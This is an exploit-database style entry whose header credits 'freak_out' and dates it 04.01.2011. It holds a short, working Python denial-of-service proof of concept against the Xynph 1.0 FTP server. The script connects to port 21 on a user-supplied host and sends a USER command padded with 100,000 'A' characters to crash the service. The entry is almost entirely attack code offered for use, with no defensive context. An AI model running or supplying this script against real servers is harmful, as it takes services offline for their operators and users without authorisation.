# Exploit Title: Xynph 1.0 USER Denial of Service Exploit
# Date: 04.01.2011
# Author: freak_out
# Version: 1.0
# Tested on: Windows XP SP3
# Type: DOS/POC
# Greetings: anco, mahjong, puddy, st!x, war10ck, fraggle, DarthShredder, krzym, starslayer, db
# E-Mail: freak_out@phcn.de

#DoS:
#!/usr/bin/python
import socket
import sys

buf = "A"*100000
host = sys.argv[1]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host,21))
print "Send USER " + buf
s.send("USER %s\r\n" % buf)